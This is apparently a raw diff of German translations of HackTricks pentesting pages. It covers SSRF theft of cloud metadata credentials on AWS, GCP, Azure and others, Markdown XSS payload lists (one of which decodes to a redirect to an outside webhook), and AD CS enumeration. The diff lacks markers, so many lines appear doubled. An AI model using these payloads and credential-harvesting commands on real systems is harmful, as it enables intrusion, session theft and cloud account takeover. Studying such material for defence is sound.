Sie können auch öffentliche **EC2-Sicherheitsanmeldeinformationen** überprüfen unter: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Sie können dann **diese Anmeldeinformationen verwenden und sie mit der AWS CLI nutzen**. Dies ermöglicht Ihnen, **alles zu tun, wozu diese Rolle Berechtigungen hat**.
Sie können dann **diese Anmeldeinformationen verwenden und sie mit der AWS CLI** nutzen. Dies ermöglicht Ihnen, **alles zu tun, wozu diese Rolle Berechtigungen hat**.
Um die neuen Anmeldeinformationen zu nutzen, müssen Sie ein neues AWS-Profil erstellen, das so aussieht:
```
@ -88,21 +88,21 @@ aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Beachten Sie das **aws_session_token**, das für das Funktionieren des Profils unerlässlich ist.
Beachten Sie das **aws_session_token**, dies ist unerlässlich, damit das Profil funktioniert.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) kann mit den entdeckten Anmeldeinformationen verwendet werden, um Ihre Berechtigungen herauszufinden und zu versuchen, die Berechtigungen zu eskalieren.
### SSRF in AWS ECS (Container Service) Anmeldeinformationen
**ECS** ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Clusterverwaltungsinfrastruktur skalieren zu müssen, da ECS das für Sie verwaltet. Wenn Sie es schaffen, einen Dienst, der in **ECS** läuft, zu kompromittieren, ändern sich die **Metadatenendpunkte**.
**ECS** ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Clusterverwaltungsinfrastruktur skalieren zu müssen, da ECS das für Sie verwaltet. Wenn es Ihnen gelingt, einen Dienst, der in **ECS** läuft, zu kompromittieren, ändern sich die **Metadatenendpunkte**.
Wenn Sie _**http://169.254.170.2/v2/credentials/\<GUID>**_ aufrufen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie **das \<GUID>** finden. Um das \<GUID> zu finden, müssen Sie die **environ**-Variable **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** innerhalb der Maschine lesen.\
Wenn Sie _**http://169.254.170.2/v2/credentials/\<GUID>**_ aufrufen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie **den \<GUID> finden**. Um den \<GUID> zu finden, müssen Sie die **environ**-Variable **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** innerhalb der Maschine lesen.\
Sie könnten in der Lage sein, dies auszulesen, indem Sie eine **Path Traversal** zu `file:///proc/self/environ` ausnutzen.\
Die genannte http-Adresse sollte Ihnen den **AccessKey, SecretKey und Token** geben.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!NOTE]
> [!TIP]
> Beachten Sie, dass Sie in **einigen Fällen** auf die **EC2-Metadateninstanz** vom Container aus zugreifen können (überprüfen Sie die zuvor erwähnten IMDSv2 TTL-Beschränkungen). In diesen Szenarien könnten Sie vom Container sowohl auf die IAM-Rolle des Containers als auch auf die IAM-Rolle der EC2 zugreifen.
### SSRF für AWS Lambda
@ -115,7 +115,7 @@ Die **Namen** der **interessanten Umgebungsvariablen** sind:
- `AWS_SECRET_ACCESS_KEY`
- `AWS_ACCES_KEY_ID`
Darüber hinaus haben Lambda-Funktionen neben IAM-Anmeldeinformationen auch **Ereignisdaten, die an die Funktion übergeben werden, wenn sie gestartet wird**. Diese Daten sind der Funktion über die [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) zugänglich und könnten **sensible** **Informationen** enthalten (wie innerhalb der **stageVariables**). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter **`http://localhost:9001/2018-06-01/runtime/invocation/next`** zugänglich.
Darüber hinaus haben Lambda-Funktionen neben IAM-Anmeldeinformationen auch **Ereignisdaten, die an die Funktion übergeben werden, wenn sie gestartet wird**. Diese Daten sind der Funktion über die [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) zugänglich und könnten **sensible** **Informationen** enthalten (wie in den **stageVariables**). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter **`http://localhost:9001/2018-06-01/runtime/invocation/next`** zugänglich.
> [!WARNING]
> Beachten Sie, dass die **Lambda-Anmeldeinformationen** in den **Umgebungsvariablen** enthalten sind. Wenn also der **Stack-Trace** des Lambda-Codes Umgebungsvariablen ausgibt, ist es möglich, sie **durch Provokation eines Fehlers** in der App zu **exfiltrieren**.
@ -143,9 +143,9 @@ Sie können [**hier die Dokumentation zu Metadatenendpunkten finden**](https://c
Erfordert den HTTP-Header **`Metadata-Flavor: Google`** und Sie können auf den Metadatenendpunkt mit den folgenden URLs zugreifen:
- http://169.254.169.254
- http://metadata.google.internal
- http://metadata
- [http://169.254.169.254](http://169.254.169.254)
- [http://metadata.google.internal](http://metadata.google.internal)
- [http://metadata](http://metadata)
Interessante Endpunkte zum Extrahieren von Informationen:
```bash
@ -232,14 +232,14 @@ http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
> [!CAUTION]
> Um das **exfiltrierte Dienstkonto-Token** zu **verwenden**, können Sie einfach Folgendes tun:
> Um das **exfiltrierte Dienstkonto-Token** zu verwenden, können Sie einfach Folgendes tun:
>
> ```bash
> # Über Umgebungsvariablen
> # Via env vars
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
> gcloud projects list
>
> # Über Setup
> # Via setup
> echo "<token>" > /some/path/to/token
> gcloud config set auth/access_token_file /some/path/to/token
> gcloud projects list
@ -317,7 +317,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
### Azure VM
[**Docs** hier](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
[**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
- **Muss** den Header `Metadata: true` enthalten
- Darf **nicht** einen `X-Forwarded-For` Header enthalten
@ -335,8 +335,8 @@ curl http://169.254.169.254/metadata/v1.json | jq
>
> ```bash
> az vm identity show \
> --resource-group <rsc-group> \
> --name <vm-name>
> --resource-group <rsc-group> \
> --name <vm-name>
> ```
>
> - **Angehängte Identitäten** mit der standardmäßig angehängten MI im Metadatenendpunkt abrufen:
@ -346,20 +346,20 @@ curl http://169.254.169.254/metadata/v1.json | jq
>
> # Token von der standardmäßigen MI abrufen
> export TOKEN=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
>
> # Benötigte Details abrufen
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> export VM_NAME=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
>
> # Versuchen, angehängte MIs abzurufen
> curl -s -H "Authorization: Bearer $TOKEN" \
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - **Alle** definierten verwalteten Identitäten im Mandanten abrufen und **brute force**, um zu sehen, ob eine von ihnen an die VM angehängt ist:
@ -369,7 +369,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
> ```
> [!CAUTION]
> Verwenden Sie in den Tokenanforderungen einen der Parameter `object_id`, `client_id` oder `msi_res_id`, um die verwaltete Identität anzugeben, die Sie verwenden möchten ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Wenn keiner, wird die **standardmäßige MI verwendet**.
> Verwenden Sie bei den Tokenanforderungen einen der Parameter `object_id`, `client_id` oder `msi_res_id`, um die verwaltete Identität anzugeben, die Sie verwenden möchten ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Andernfalls wird die **standardmäßige MI verwendet**.
{{#tabs}}
{{#tab name="Bash"}}
@ -427,9 +427,12 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
{{#endtab}}
{{#endtabs}}
### Azure App & Functions Services & Automation Accounts
> [!WARNING]
> Beachten Sie, dass der Endpunkt **`http://169.254.169.254/metadata/v1/instanceinfo` den Header `Metadata: True` nicht benötigt**. Dies ist großartig, um die Auswirkungen von SSRF-Schwachstellen in Azure zu zeigen, wo Sie diesen Header nicht hinzufügen können.
Aus der **env** können Sie die Werte von **`IDENTITY_HEADER`** und **`IDENTITY_ENDPOINT`** abrufen. Diese können Sie verwenden, um ein Token zu erhalten, um mit dem Metadatenserver zu kommunizieren.
### Azure App & Funktionen Dienste & Automatisierungskonten
Aus der **env** können Sie die Werte von **`IDENTITY_HEADER`** und **`IDENTITY_ENDPOINT`** abrufen. Diese können Sie verwenden, um ein Token zu sammeln, um mit dem Metadatenserver zu kommunizieren.
In den meisten Fällen benötigen Sie ein Token für eine dieser Ressourcen:
@ -524,7 +527,7 @@ Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
## IBM Cloud
> [!WARNING]
> Beachten Sie, dass in IBM standardmäßig Metadaten nicht aktiviert sind, sodass es möglich ist, dass Sie darauf nicht zugreifen können, selbst wenn Sie sich in einer IBM Cloud-VM befinden.
> Beachten Sie, dass in IBM standardmäßig Metadaten nicht aktiviert sind, sodass es möglich ist, dass Sie darauf nicht zugreifen können, selbst wenn Sie sich in einer IBM-Cloud-VM befinden.
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
@ -552,11 +555,11 @@ Dokumentation für die Metadatenservices verschiedener Plattformen ist unten auf
## Packetcloud
Für den Zugriff auf die Metadaten von Packetcloud kann die Dokumentation unter folgendem Link gefunden werden: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
Für den Zugriff auf die Metadaten von Packetcloud kann die Dokumentation unter folgender Adresse gefunden werden: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
Die Notwendigkeit für einen Header wird nicht erwähnt. Metadaten können über folgenden Link abgerufen werden:
Die Notwendigkeit für einen Header wird nicht erwähnt. Metadaten können über Folgendes abgerufen werden:
- `http://169.254.169.254/openstack`
@ -602,7 +605,7 @@ Docker-Metadaten können lokal abgerufen werden, mit Beispielen für den Abruf v
## Rancher
Die Metadaten von Rancher können über folgenden Link abgerufen werden:
Die Metadaten von Rancher können über Folgendes abgerufen werden:
- `curl http://rancher-metadata/<version>/<path>`

View File

@ -42,7 +42,7 @@ t:prompt(document.cookie))
```
### HTML Sanitiser Markdown Bypass
Der folgende Code **bereinigt HTML-Eingaben** und übergibt sie dann an den Markdown-Parser. Dadurch kann XSS ausgelöst werden, indem Missinterpretationen zwischen Markdown und DOMPurify ausgenutzt werden.
Der folgende Code **bereinigt HTML-Eingaben** und **übergibt sie an den Markdown-Parser**, dann kann XSS ausgelöst werden, indem Missinterpretationen zwischen Markdown und DOMPurify ausgenutzt werden.
```html
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
```html
<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
-->
[a](javascript:prompt(document.cookie))
@ -97,7 +97,7 @@ Fuzzing examples from
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[lol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)

View File

@ -8,14 +8,14 @@
> Dies sind die **Werte des HackTricks Projekts**:
>
> - Geben Sie **KOSTENLOS** Zugang zu **BILDUNGS-hacking** Ressourcen für **ALLE** im Internet.
> - Hacking geht darum zu lernen, und Lernen sollte so kostenlos wie möglich sein.
> - Der Zweck dieses Buches ist es, als umfassende **Bildungsressource** zu dienen.
> - Hacking geht darum zu lernen, und Lernen sollte so kostenlos wie möglich sein.
> - Der Zweck dieses Buches ist es, als umfassende **Bildungsressource** zu dienen.
> - **SPEICHERN** Sie großartige **Hacking** Techniken, die die Community veröffentlicht, und geben Sie den **URSPRÜNGLICHEN** **AUTOREN** alle **Credits**.
> - **Wir wollen nicht die Anerkennung von anderen**, wir wollen nur coole Tricks für alle speichern.
> - Wir schreiben auch **unsere eigenen Forschungen** in HackTricks.
> - In mehreren Fällen werden wir einfach **in HackTricks eine Zusammenfassung der wichtigen Teile** der Technik schreiben und den **Leser ermutigen, den ursprünglichen Beitrag** für weitere Details zu besuchen.
> - **ORGANISIEREN** Sie alle Hacking-Techniken im Buch, damit es **ZUGÄNGLICHER** ist.
> - Das HackTricks-Team hat tausende von Stunden kostenlos damit verbracht, **nur den Inhalt zu organisieren**, damit die Leute **schneller lernen** können.
> - **Wir wollen nicht die Anerkennung von anderen**, wir wollen nur coole Tricks für alle speichern.
> - Wir schreiben auch **unsere eigenen Forschungen** in HackTricks.
> - In mehreren Fällen werden wir einfach **in HackTricks eine Zusammenfassung der wichtigen Teile** der Technik schreiben und den **Leser ermutigen, den ursprünglichen Beitrag** für weitere Details zu besuchen.
> - **ORGANISIEREN** Sie alle Hacking-Techniken im Buch, damit sie **ZUGÄNGLICHER** sind.
> - Das HackTricks-Team hat tausende von Stunden kostenlos damit verbracht, **nur den Inhalt zu organisieren**, damit die Leute **schneller lernen** können.
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -33,7 +33,7 @@ Und vergessen Sie nicht, **einen Stern in den Github-Projekten zu geben!** (Die
>
> - **Wie kann ich zum Projekt beitragen?**
Sie können **neue Tipps und Tricks mit der Community teilen oder Fehler** in den Büchern beheben, indem Sie einen **Pull Request** an die jeweiligen Github-Seiten senden:
Sie können **neue Tipps und Tricks mit der Community teilen oder Fehler** beheben, die Sie in den Büchern finden, indem Sie einen **Pull Request** an die jeweiligen Github-Seiten senden:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@ -44,14 +44,14 @@ Vergessen Sie nicht, **einen Stern in den Github-Projekten zu geben!**
>
> - **Kann ich einige Inhalte von HackTricks kopieren und in meinem Blog verwenden?**
Ja, das können Sie, aber **vergessen Sie nicht, die spezifischen Link(s)** zu erwähnen, von denen der Inhalt stammt.
Ja, das können Sie, aber **vergessen Sie nicht, die spezifischen Link(s)** zu erwähnen, von wo der Inhalt entnommen wurde.
> [!TIP]
>
> - **Wie kann ich eine Seite von HackTricks zitieren?**
> - **Wie kann ich eine Seite von HackTricks?**
Solange der Link **der** Seite(n), von der Sie die Informationen entnommen haben, erscheint, ist das ausreichend.\
Wenn Sie ein BibTeX benötigen, können Sie etwas verwenden wie:
Wenn Sie ein Bibtex benötigen, können Sie etwas verwenden wie:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -64,7 +64,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **Kann ich alle HackTricks in meinem Blog kopieren?**
**Ich würde es lieber nicht**. Das **wird niemandem nützen**, da der **Inhalt bereits öffentlich verfügbar** ist in den offiziellen HackTricks-Büchern kostenlos.
**Ich würde es lieber nicht**. Das **wird niemandem nützen**, da der **Inhalt bereits öffentlich** in den offiziellen HackTricks-Büchern kostenlos verfügbar ist.
Wenn Sie befürchten, dass es verschwinden wird, forken Sie es einfach auf Github oder laden Sie es herunter, wie ich sagte, es ist bereits kostenlos.
@ -76,9 +76,9 @@ Der erste **HackTricks** **Wert** ist es, **KOSTENLOSE** Bildungsressourcen für
Wenn Sie denken, dass HackTricks-Bücher für **kommerzielle Zwecke** gemacht sind, liegen Sie **VÖLLIG FALSCH**.
Wir haben Sponsoren, weil wir, auch wenn der gesamte Inhalt KOSTENLOS ist, der **Gemeinschaft die Möglichkeit bieten möchten, unsere Arbeit zu schätzen**, wenn sie möchten. Daher bieten wir den Menschen die Möglichkeit, HackTricks über [**Github-Sponsoren**](https://github.com/sponsors/carlospolop) zu unterstützen, und **relevante Cybersicherheitsunternehmen**, um HackTricks zu sponsern und **einige Anzeigen** im Buch zu haben, wobei die **Anzeigen** immer an Orten platziert werden, die sie **sichtbar** machen, aber den Lernprozess nicht stören, wenn sich jemand auf den Inhalt konzentriert.
Wir haben Sponsoren, weil wir, auch wenn der gesamte Inhalt KOSTENLOS ist, der **Gemeinschaft die Möglichkeit bieten wollen, unsere Arbeit zu schätzen**, wenn sie möchten. Daher bieten wir den Menschen die Möglichkeit, HackTricks über [**Github-Sponsoren**](https://github.com/sponsors/carlospolop) zu unterstützen, und **relevante Cybersicherheitsunternehmen**, um HackTricks zu sponsern und **einige Anzeigen** im Buch zu haben, wobei die **Anzeigen** immer an Orten platziert werden, die sie **sichtbar** machen, aber den Lernprozess nicht stören, wenn sich jemand auf den Inhalt konzentriert.
Sie werden HackTricks nicht mit nervigen Anzeigen gefüllt finden wie andere Blogs mit viel weniger Inhalt als HackTricks, denn HackTricks ist nicht für kommerzielle Zwecke gemacht.
Sie werden HackTricks nicht mit nervigen Anzeigen gefüllt finden, wie andere Blogs mit viel weniger Inhalt als HackTricks, denn HackTricks ist nicht für kommerzielle Zwecke gemacht.
> [!CAUTION]
>
@ -88,13 +88,13 @@ Sie werden HackTricks nicht mit nervigen Anzeigen gefüllt finden wie andere Blo
> [!CAUTION]
>
> - **Was soll ich tun, wenn Inhalte von meinem Blog in HackTricks sind und ich möchte nicht, dass sie dort sind?**
> - **Was soll ich tun, wenn Inhalte von meinem Blog in HackTricks sind und ich möchte, dass sie dort nicht sind?**
Beachten Sie, dass Links zu Ihrer Seite in HackTricks:
- Ihre **SEO** verbessern
- Ihr **SEO** verbessern
- Der Inhalt wird **in mehr als 15 Sprachen übersetzt**, was es mehr Menschen ermöglicht, auf diesen Inhalt zuzugreifen
- **HackTricks ermutigt** die Menschen, **Ihre Seite zu überprüfen** (mehrere Personen haben uns mitgeteilt, dass sie seitdem ihre Seite in HackTricks ist, mehr Besuche erhalten)
- **HackTricks ermutigt** die Menschen, **Ihre Seite zu überprüfen** (mehrere Personen haben uns erwähnt, dass sie seitdem ihre Seite in HackTricks haben, mehr Besuche erhalten)
Wenn Sie jedoch weiterhin möchten, dass der Inhalt Ihres Blogs aus HackTricks entfernt wird, lassen Sie es uns einfach wissen und wir werden definitiv **jeden Link zu Ihrem Blog** und jeden darauf basierenden Inhalt entfernen.
@ -102,7 +102,7 @@ Wenn Sie jedoch weiterhin möchten, dass der Inhalt Ihres Blogs aus HackTricks e
>
> - **Was soll ich tun, wenn ich kopierte Inhalte in HackTricks finde?**
Wir **geben immer den ursprünglichen Autoren alle Credits**. Wenn Sie eine Seite mit kopierten Inhalten ohne referenzierte Originalquelle finden, lassen Sie es uns wissen und wir werden entweder **es entfernen**, **den Link vor dem Text hinzufügen** oder **es umschreiben und den Link hinzufügen**.
Wir **geben den ursprünglichen Autoren immer alle Credits**. Wenn Sie eine Seite mit kopierten Inhalten ohne referenzierte Originalquelle finden, lassen Sie es uns wissen und wir werden entweder **es entfernen**, **den Link vor dem Text hinzufügen** oder **es umschreiben und den Link hinzufügen**.
## LICENSE
@ -125,7 +125,7 @@ Copyright © Alle Rechte vorbehalten, sofern nicht anders angegeben.
Diese Lizenz gewährt keine Marken- oder Branding-Rechte in Bezug auf den Inhalt. Alle Marken und Branding, die in diesem Blog/Buch enthalten sind, sind Eigentum ihrer jeweiligen Inhaber.
**Durch den Zugriff auf oder die Nutzung von HackTricks stimmen Sie zu, die Bedingungen dieser Lizenz einzuhalten. Wenn Sie mit diesen Bedingungen nicht einverstanden sind, greifen Sie bitte nicht auf diese Website zu.**
**Durch den Zugriff auf oder die Nutzung von HackTricks stimmen Sie den Bedingungen dieser Lizenz zu. Wenn Sie mit diesen Bedingungen nicht einverstanden sind, greifen Sie bitte nicht auf diese Website zu.**
## **Haftungsausschluss**

View File

@ -51,9 +51,9 @@ Damit ein Client ein Zertifikat anfordern kann, müssen **Registrierungsrechte**
Diese Rechte werden durch Zugriffssteuerungseinträge (ACEs) spezifiziert, die Berechtigungen wie:
- **Zertifikat-Registrierung** und **Zertifikat-Auto-Registrierung**-Rechte, die jeweils mit spezifischen GUIDs verbunden sind.
- **Certificate-Enrollment** und **Certificate-AutoEnrollment**-Rechte, die jeweils mit spezifischen GUIDs verknüpft sind.
- **ExtendedRights**, die alle erweiterten Berechtigungen erlauben.
- **Vollzugriff/GenericAll**, die vollständige Kontrolle über die Vorlage bieten.
- **FullControl/GenericAll**, die vollständige Kontrolle über die Vorlage bieten.
### Enterprise-CA-Registrierungsrechte
@ -72,7 +72,7 @@ Zertifikate können angefordert werden über:
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), unter Verwendung von DCOM-Schnittstellen.
2. **ICertPassage Remote Protocol** (MS-ICPR), über benannte Pipes oder TCP/IP.
3. Die **Zertifikatsregistrierungs-Webschnittstelle**, mit der Rolle der Web-Registrierung der Zertifizierungsstelle installiert.
3. Die **Zertifikatsregistrierungs-Webschnittstelle**, mit der Rolle der Webregistrierung der Zertifizierungsstelle installiert.
4. Den **Zertifikatsregistrierungsdienst** (CES), in Verbindung mit dem Zertifikatsregistrierungspolitikdienst (CEP).
5. Den **Network Device Enrollment Service** (NDES) für Netzwerkgeräte, unter Verwendung des Simple Certificate Enrollment Protocol (SCEP).
@ -99,7 +99,7 @@ Schannel ermöglicht sichere TLS/SSL-Verbindungen, bei denen der Client während
### AD-Zertifikatdienste Aufzählung
Die Zertifikatdienste von AD können durch LDAP-Abfragen aufgezählt werden, wodurch Informationen über **Enterprise Certificate Authorities (CAs)** und deren Konfigurationen offengelegt werden. Dies ist für jeden domänenauthentifizierten Benutzer ohne besondere Berechtigungen zugänglich. Tools wie **[Certify](https://github.com/GhostPack/Certify)** und **[Certipy](https://github.com/ly4k/Certipy)** werden zur Aufzählung und Schwachstellenbewertung in AD CS-Umgebungen verwendet.
Die Zertifikatdienste von AD können durch LDAP-Abfragen aufgezählt werden, die Informationen über **Enterprise Certificate Authorities (CAs)** und deren Konfigurationen offenbaren. Dies ist für jeden domänenauthentifizierten Benutzer ohne besondere Berechtigungen zugänglich. Tools wie **[Certify](https://github.com/GhostPack/Certify)** und **[Certipy](https://github.com/ly4k/Certipy)** werden zur Aufzählung und Schwachstellenbewertung in AD CS-Umgebungen verwendet.
Befehle zur Verwendung dieser Tools umfassen:
```bash
@ -123,28 +123,28 @@ certutil -v -dstemplate
## Aktuelle Schwachstellen & Sicherheitsupdates (2022-2025)
| Jahr | ID / Name | Auswirkungen | Wichtige Erkenntnisse |
|------|-----------|--------------|----------------------|
| 2022 | **CVE-2022-26923** “Certifried” / ESC6 | *Privilegieneskalation* durch Spoofing von Maschinenkontozertifikaten während PKINIT. | Patch ist in den Sicherheitsupdates vom **10. Mai 2022** enthalten. Auditing- & Strong-Mapping-Kontrollen wurden über **KB5014754** eingeführt; Umgebungen sollten jetzt im *Full Enforcement*-Modus sein. citeturn2search0 |
| 2023 | **CVE-2023-35350 / 35351** | *Remote Code-Ausführung* in der AD CS Web Enrollment (certsrv) und CES-Rollen. | Öffentliche PoCs sind begrenzt, aber die anfälligen IIS-Komponenten sind oft intern exponiert. Patch ab **Juli 2023** Patch Tuesday. citeturn3search0 |
| 2024 | **CVE-2024-49019** “EKUwu” / ESC15 | Niedrigprivilegierte Benutzer mit Anmelderechten könnten **irgendeine** EKU oder SAN während der CSR-Generierung überschreiben, was zur Ausstellung von Zertifikaten führt, die für die Client-Authentifizierung oder Code-Signierung verwendet werden können und zu *Domänenkompromittierung* führen. | In den Updates vom **April 2024** behoben. Entfernen Sie “Supply in the request” aus Vorlagen und beschränken Sie die Anmeldeberechtigungen. citeturn1search3 |
|------|-----------|--------------|-----------------------|
| 2022 | **CVE-2022-26923** “Certifried” / ESC6 | *Privilegieneskalation* durch Spoofing von Maschinenkontozertifikaten während PKINIT. | Der Patch ist in den Sicherheitsupdates vom **10. Mai 2022** enthalten. Auditing- & Strong-Mapping-Kontrollen wurden über **KB5014754** eingeführt; Umgebungen sollten jetzt im *Vollstreckungsmodus* sein. |
| 2023 | **CVE-2023-35350 / 35351** | *Remote Code-Ausführung* in den AD CS Web Enrollment (certsrv) und CES-Rollen. | Öffentliche PoCs sind begrenzt, aber die anfälligen IIS-Komponenten sind oft intern exponiert. Patch ab dem **Juli 2023** Patch Tuesday. |
| 2024 | **CVE-2024-49019** “EKUwu” / ESC15 | Niedrigprivilegierte Benutzer mit Anmelderechten könnten **irgendeine** EKU oder SAN während der CSR-Generierung überschreiben, was zur Ausstellung von Zertifikaten führt, die für die Client-Authentifizierung oder Code-Signierung verwendet werden können und zu *Domänenkompromittierung* führen. | In den Updates vom **April 2024** behoben. Entfernen Sie “Supply in the request” aus Vorlagen und beschränken Sie die Anmeldeberechtigungen. |
### Microsoft-Härtungszeitplan (KB5014754)
Microsoft führte einen dreiphasigen Rollout (Kompatibilität → Audit → Durchsetzung) ein, um die Kerberos-Zertifikatauthentifizierung von schwachen impliziten Zuordnungen wegzuführen. Ab dem **11. Februar 2025** wechseln Domänencontroller automatisch zu **Full Enforcement**, wenn der `StrongCertificateBindingEnforcement`-Registrierungswert nicht gesetzt ist. Administratoren sollten:
